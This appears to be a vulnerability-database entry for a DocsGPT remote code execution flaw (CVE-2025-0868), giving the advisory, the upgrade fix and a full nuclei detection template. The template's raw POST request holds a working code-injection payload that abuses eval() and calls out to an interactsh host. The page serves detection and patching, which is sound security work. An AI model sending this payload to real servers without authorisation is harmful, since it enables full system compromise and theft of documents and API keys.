HexBrain

Browse / CVEs / CVE-2025-0868

CVE-2025-0868

DocsGPT - Unauthenticated Remote Code Execution

criticalseverity
17.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.

Impact

Unauthenticated attackers can execute arbitrary Python code remotely on DocsGPT servers through improper eval() usage, leading to complete system compromise and potential access to all indexed documents and API keys.

Fix

Upgrade to DocsGPT version 0.12.1 or later that addresses the eval() vulnerability.

How to confirm it

Send: POST /api/remote
Positive when: contains in interactsh_protocol "dns" AND contains "\"task_id\":" and "\"status\":"

Run it with nuclei: nuclei -id CVE-2025-0868 -u <target>

The full check
id: CVE-2025-0868

info:
  name: DocsGPT - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
  impact: |
    Unauthenticated attackers can execute arbitrary Python code remotely on DocsGPT servers through improper eval() usage, leading to complete system compromise and potential access to all indexed documents and API keys.
  remediation: |
    Upgrade to DocsGPT version 0.12.1 or later that addresses the eval() vulnerability.
  reference:
    - https://cert.pl/posts/2025/02/CVE-2025-0868/
    - https://cert.pl/en/posts/2025/02/CVE-2025-0868/
    - https://github.com/arc53/DocsGPT
  classification:
    epss-score: 0.17087
    epss-percentile: 0.97105
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Welcome to DocsGPT"
  tags: cve,cve2025,docsgpt,unauth,rce,vkev,vuln

http:
  - raw:
      - |
        POST /api/remote HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://{{interactsh-url}}/')}#":11}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '"task_id":'
          - '"status":'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from